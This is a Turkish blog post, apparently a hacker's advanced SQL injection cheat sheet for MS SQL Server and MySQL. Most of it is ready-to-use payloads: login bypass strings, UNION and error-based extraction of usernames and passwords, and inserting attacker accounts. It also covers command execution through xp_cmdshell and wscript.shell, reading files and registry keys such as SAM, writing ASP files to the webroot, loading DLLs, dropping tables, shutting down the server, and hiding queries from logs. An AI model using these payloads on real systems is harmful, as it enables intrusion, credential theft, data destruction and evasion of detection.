Başlangıç > Saldırı teknikleri > SQL injection yöntemleri (İleri düzey)

SQL injection yöntemleri (İleri düzey)

Öncelikle yazdığım bazı şeyler sql server üzerinden çalışır

Sırayla açıklamaya başlayalım
“--“ SQL Cümlesini sonlandırmaya yarar
“;” 2. SQL cümlesini çalıştırmaya yarar

Biliyoruzki artık sql injection login panellerindede çalışıyor. Mesela login panelinden kasıt kullancı adı ve şifre girdiğimiz alanlardır

1. Login olabilmek için genelde input bölgesine uygulayacağımız kodları aşağıda verdim.
* admin’ –
* ‘ or 1=1—
* ...
2. Farklı bir kullanıcı olarakda login olma ise aşağıdaki gibi gösterilmiştir.
* ‘ union select 1, ‘diger_user’, ‘birseyler_sifre’, 1--

Bu tür login ekranlarında şansınız varsa yukarıda kodlarla giriş yapmayı başarırsınız.

Ama genel olarak sql injectionla uğraşan biri site üzerinden hatalardan yola çıkarak ilerlemeye çalışır birazda hatalardan
ilerlemeyi gösterelim

1. ‘ having 1=1 – (sitede unclosed olduğunu gördük ve having çektik tablolar gelmeye başladı )
2. ‘ group by hatadangelen.id having 1=1—
3. ‘ group by hatadangelen.id, gelenikinci.id, üçüncü.id having 1=1—(böyle gider)
4. Hata almayı bitirince tablo bitti demektir.
5. Ek olarak order by ile de union da kaç kolon çekildiği bulunabilir.Burada amaç zaten order by yanındaki rakamı artırıp kolon sayısını anlamaktır.
* ORDER BY 1—
* ORDER BY 2—
Yavaş yavaş injection süreci ilerlemeye başlar bu sefer önemli olan gelen veri tipini belirlemektir
Bu yöntemde asıl amaç data tipini belirlemektir.

1. ‘ union select sum(tipibulunacakalan) from users—
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument.
2. Hata kodu bize verdiğimiz alanin varchar olduğunu söyledi.
3. Eğer hata kodu union işlemi ile ilgiliyse yada hata gelmiyorsa verdiğimiz alan numeric demektir.
4. Union işlemlerde NULL kullanılabilir date, integer, string in 3 tipinde de bu geçerli sonuç verecektir.
* 11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 –-
No Error - Syntax is right. MS SQL Server Used. Proceeding.
* 11223344) UNION SELECT 1,NULL,NULL,NULL WHERE 1=2 –-
No Error – First column is an integer.
* 11223344) UNION SELECT 1,2,NULL,NULL WHERE 1=2 –-
Error! – Second column is not an integer.
* 11223344) UNION SELECT 1,’2’,NULL,NULL WHERE 1=2 –-
No Error – Second column is a string.
* 11223344) UNION SELECT 1,’2’,3,NULL WHERE 1=2 –-
Error! – Third column is not an integer. ...
5. Convert ve Errorlar ile field tipi bulma - convert(image,1)
* SELECT * FROM Table1 WHERE id = -1 UNION ALL SELECT null, null, NULL, NULL, convert(image,1), null, null,NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULl, NULL—
* Microsoft OLE DB Provider for SQL Server error '80040e07'
Explicit conversion from data type int to image is not allowed.
* You’ll get convert() errors before union target errors ! So start with convert() then union

Artık data tiplerinide bulduk bu sefer geldik siteye db ye data eklemeye . Eğer başarılı olursak db üzerinden adminin pass bile güncellenir :)
Data Ekleme

* '; insert into users values( 666, 'attacker', 'foobar', 0xffff )—

Sistem Hakkında Bilgi Toplama

Data convert işlemlerinde SQL Server detaylı hata mesajları döndürür;

* ' union select @@version,1,1,1--
SQL Server versiyonunu döndürecektir. ( Numerik alan ile union edilmeye çalışılmalı ! )

Data Alma

1. ' union select min(username),1,1,1 from users where username > 'admin'--
Users tablosundaki username’ e integerlara uygulanan min() denediğinden ve string i de çekmiş olduğundan hata mesajı olarak çekilmiş olan username gelecektir.
2. ' union select password,1,1,1 from users where username = 'admin'—
Bir önceki işlemde bulduğu username i direk union ile getiriyor
3. ‘ Union All Select 1,1,1,1 FROM SysObjects WHERE ‘=’
4. User defined Tables
SELECT name FROM sysobjects WHERE xtype = ‘U’
5. Field Getirme
SELECT name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = ‘ORDERS’)
6. Record ilerletme
WHERE users NOT IN (‘First User’, ‘Second User’)
7. Record ilerletme 2
Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE xtype='U' and i.id<=o.id) AS x, name from sysobjects o WHERE o.xtype = 'U') as p where p.x=21 Advanced Yöntemler T-SQL ile bir tablodaki tüm datayı tek string haline getirip yeni bir temp tabloya insert etmek ve daha sonradan onu almak. set @ret=':' select @ret=@ret+' '+username+'/'+password from users where username>@ret
select @ret as ret into foo
end

The attacker 'logs in' with this 'username' (all on one line, obviously…)

1. Username: '; begin declare @ret varchar(8000) set @ret=':' select @ret=@ret+' '+username+'/'+password from users where username>@ret select @ret as ret into foo end—
2. ' union select ret,1,1,1 from foo--
convert hatası alacağından dolayı direk az önce insert edilen stringleri getirir.
3. Teoriye göre eğer SQL Server Local System Account’ ı ile çalışıyorsa regread ile SAM account’ u okunabilir. Default! (xp_regread)
4. Linked serverlarda query çalıştırılabilir (openquery)
5. Custom Stored Procedure’ ler ile SQL Server Process’ i içerisinden exploit yazılıp çalıştırabilir. (sp_addextendedproc)
6. Bulk Insert ile serverdaki herhangi bir dosya okunabilir
* create table foo( line varchar(8000) )
* bulk insert foo from 'c:\inetpub\wwwroot\process_login.asp'
* Şimdi data bu yeni tablodan okunabilir, sonrada tablo drop edilebilir
7. Text dosyası yazma (BCP – Login bilgisi gerekli)
bcp "SELECT * FROM test..foo" queryout c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar
8. “sa” olarak login olduk mu?
if (select user) = 'sa' waitfor delay '0:0:5'
9. ActiveX desteğinden dolayı scripting kullanılabilir (VBS, WSH)
wscript.shell example
declare @o int
exec sp_oacreate 'wscript.shell', @o out
exec sp_oamethod @o, 'run', NULL, 'notepad.exe'
Username: '; declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL, 'notepad.exe' --
10. SQL Server’ı konuşturma (maymunluk olsun diye yapılabilir)
11. Tırnak Kullanmadan SQL Yazmak
insert into users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)
veya sadece numerik değerler ile data girilebilir

insert into users values( 667, 123, 123, 0xffff)
SQL Server integerları otomatik olarak varchar a çeviriyor.
12. Xx.asp?p=xx’; EXEC master.dbo.xp_cmdshell ‘cmd.exe dir c:’

Özel Tablolar

1. Hata Mesajları
select * from master..sysmessages
2. Linked Serverlar (openquery fonskiyonunu login olmadan kullanilabilir eger ki sp_addlinkedsrvlogin kullanıldıysa)
master..sysservers
3. Şifreler, Loginler
master..sysxlogins

Tablo / Server Modifikasyon

* Tablo Silme
'; drop table foo--

Functions

1. SQL Server’ ı kapa (shutdown)
‘; shutdown—
2. Bekleme (waitfor delay)
Bir şeyin pasif/gizli olarak çalışıp çalışmadığını anlamak için
waitfor delay '0:0:10'—
kullanımı çok verimlidir. Belirtilen süre kadar bekler. Bu sayede çeşitli kontroller yapılabilir yada basitçe harmless bir şekilde eklenen SQL cümleciklerinin gerçekten çalışıp çalışmadığı kontrol edilebilir.

Atak Gizleme

SQL Server sp_password içeren SQL Querylerini güvenlik nediyle loglamıyor. Bu durumda her çalıştırılan komut ardından ‘–sp_password demek onun gizlenmesi için yeterli. Bu sayede bir log oluşsa da içeriği oluşmuyor.
SQL Injection Tespiti

Normalde SQL Injection basit şekilde tek tırnak (‘) vs. Koyarak çıkan hataya göre tespti edilebilir. Ancak bazı uygulamaları hataları gizleyebilir, yada siz arkadaki yada hata olduğunda direk varsayılandan devam etme gibi özelliklere sahip olabilir. Bunun yanında bir diğer kritik sorunsa bir sistemde ne kadar çok hata verdirtirseniz bir analizde o kadar çok takip edilebilirsiniz.

Ek olarak software based server da çalışan web firewall ları genelde pattern olarak (Snort gibi IDS lerde bu şekilde) status code larında “500” veya benzer hata kodlarını eklerler genelde bir çok “200“ status kodu dertsiz olarak bu filtreleri geçebilir. Daha sonradan olayın trace noktasında da bu bir kolaylıktır.

Bu noktada daha önceden bahsi geçen “waitfor delay” kullanışlı bir fonksiyondur. Ek olarak daha da pratik mantık SQL ün aynı işi yapmasını sağlayan queryler oluşturmaktır, ama tabii ki tırnak yada SQL de çalışacak fonksiyonlar kullanarak.

1. product.asp?id=4
* product.asp?id=5-1
* product.asp?id=4 OR 1=1
2. product.asp?name=Book
* product.asp?name=Bo’+’ok
* product.asp?name=Bo’ || ’ok (ORACLE)
* product.asp?name=Book’ OR ‘x’=’x

Stored Procedures

1. Cmd Execute (xp_cmdshell)
exec master..xp_cmdshell 'dir'
2. Registry İşlemleri (xp_regread)
Registry’ e yazma okuma vs. İşlemleri.
* xp_regaddmultistring
* xp_regdeletekey
* xp_regdeletevalue
* xp_regenumkeys
* xp_regenumvalues
* xp_regread
* xp_regremovemultistring
* xp_regwrite
exec xp_regread HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters', 'nullsessionshares'
exec xp_regenumvalues HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities'
3. Servisleri Kontrol Etmek (xp_servicecontrol)
4. Sistemdeki Medyaları Görme (xp_availablemedia)
5. Directory Tree sini alma (xp_dirtree)
6. ODBC Resourceları Listeleme (xp_enumdsn)
7. Login modeunu bulma (xp_loginconfig)
8. Cab Arşiv Oluşturma (xp_makecab)
9. Domainleri Bulma (xp_ntsec_enumdomains)
10. PID ile process terminate etme (xp_terminate_process)
11. Yeni Strored Procedure Ekleme (istenilen kod SQL Server process içerisinde çalıştırılabilir)
sp_addextendedproc ‘xp_webserver’, ‘c:\temp\x.dll’
exec xp_webserver
12. Stored Procedure Silme (sp_dropextendedproc)
13. Dışarıya UNC dahil dosya yazma (sp_makewebtask)

Other

* OleDB driver ile çalıştırılan SQL’ lerde union vs. Ler çalışmayabilir
* Execute() ile çalıştırılanlar sağlamdır

MySQL Injection

* After MySQL 4.0 you can “Union” queries
* For SQL comments use /*mysql comment*/
* Unions are just like SQL Server unions same fields, same types required
* @@version is available, you can use it in unions
* You can hex-encoded strings
o select 'c:/boot.ini'
o or
o select 0x633a2f626f6f742e696e69
* MySQL can load DLL and run arbitary code
* Subqueries version 4.1+
* MySQL Passwords
o In versions prior to 4.1, the password hash can be used to
authenticate directly with the database. Just recompile MySQL Client to login with hash.
o Other versions use SHA1
o SELECT User,Password FROM mysql.user;
o SELECT 1,1 UNION SELECT IF(SUBSTRING(Password,1,1)='2',BENCHMARK(100000,SHA1(1)),0) User,Password FROM mysql.user WHERE User = ‘root’;

MySQL (Custom) Functions & UDF

* substring
o query.php?user=1+union+select+substring(load_file(0x633a2f626f6f742e696e69),60),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
* SELECT ... INTO DUMPFILE
o Write query into a new file (can not modify existing file)
* UDF Function
o create function LockWorkStation returns integer soname 'user32';
o select LockWorkStation();
o create function ExitProcess returns integer soname 'kernel32';
o select exitprocess();
* SELECT USER();
* SELECT password,USER() FROM mysql.user;
* First byte of admin hash
o SELECT SUBSTRING(user_password,1,1) FROM mb_users WHERE user_group = 1;

MySQL Samples

UPDATE user
SET Password=PASSWORD('crack')
WHERE user='root';
FLUSH PRIVILEGES;
MySQL Load_File

* With unions you can read a file
* query.php?user=1+union+select+load_file(0x633a2f626f6f742e696e69),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1

MySQL Load Data Infile

* By default it’s not avaliable !
o create table foo( line blob );
load data infile 'c:/boot.ini' into table foo;
select * from foo;

Timing & Blind MySQL Injection

* select benchmark( 500000, sha1( 'test' ) );
* query.php?user=1+union+select+benchmark(500000,sha1 (0x414141)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
* select if( user() like 'root@%', benchmark(100000,sha1('test')), 'false' );
* Enumeration data, Guessed Brute Force
o select if( (ascii(substring(user(),1,1)) >> 7) & 1, benchmark(100000,sha1('test')), 'false' );

Stored Procedure Injection

1. Eğer SQL bir şekilde ASP ile unsafe parametrelerle oluşturulup gönderiliyorsa bu güvenli değildir. Stored Procedure olsa bile.
2. Eğer parametrelerde ADO Command gibi bir şeyler ile gönderiliyorsa ve doğru implemente edildiyse güvenlidir.
sp_who '1' select * from sysobjects
or
sp_who '1'; select * from sysobjects

Second Order SQL Injection

Zor bir metod, temel olarak arda arda birbirinin datasının kullanan SQL’ lerde kullanılabilir. Temel boşluk bu tip yerlerde ikinci SQL birinci SQL den datayı aldığından ona gözü kapalı güvenmesidir yani gelen data kullanıcıdan değil de aplikasyondan geldiğinden tekrar kontrol edilmez genelde.

1. Bir sistemde yeni kullanıcı şu şekilde oluşturulur;
Username: admin'--
Password: password
2. Bu şu Insert’ i çalıştırır;
insert into users values( 123, 'admin''--', 'password', 0xffff )
3. Şifre değiştirme ekranındaki durum şu şekilde olacaktır;
Kontrol;
var sql = "select * from users where username = '" + username + "' and password = '" + oldpassword + "'";
4. Şifre Update işlemi;
sql = "update users set password = '" + newpassword + "' where username = '" + rso("username") + "'"
Bu adımda bir önceki SQL dönen username direk kullandığında filtreden geçemeyeceğinden direk olarak şu SQL çalışmış olacaktır;
update users set password = 'password' where username = 'admin'--'
Bu da admin şifresinin istenilen şifreye değiştirecektir.

Second Order Insert SQL Injection

Form dolurulurken şu şekilde doldurulur;

Name : ‘ + (SELECT TOP 1 password FROM users ) + ’

Email : xx@xx.com vs...
Notes

Diye bir sürü yöntemler sürdürebilir. Umarım bir faydası olmuştur.

Yazar: dersimlihacker

Reklamlar
  1. Henüz yorum yapılmamış.
  1. No trackbacks yet.

Bir Cevap Yazın

Aşağıya bilgilerinizi girin veya oturum açmak için bir simgeye tıklayın:

WordPress.com Logosu

WordPress.com hesabınızı kullanarak yorum yapıyorsunuz. Log Out / Değiştir )

Twitter resmi

Twitter hesabınızı kullanarak yorum yapıyorsunuz. Log Out / Değiştir )

Facebook fotoğrafı

Facebook hesabınızı kullanarak yorum yapıyorsunuz. Log Out / Değiştir )

Google+ fotoğrafı

Google+ hesabınızı kullanarak yorum yapıyorsunuz. Log Out / Değiştir )

Connecting to %s

%d blogcu bunu beğendi: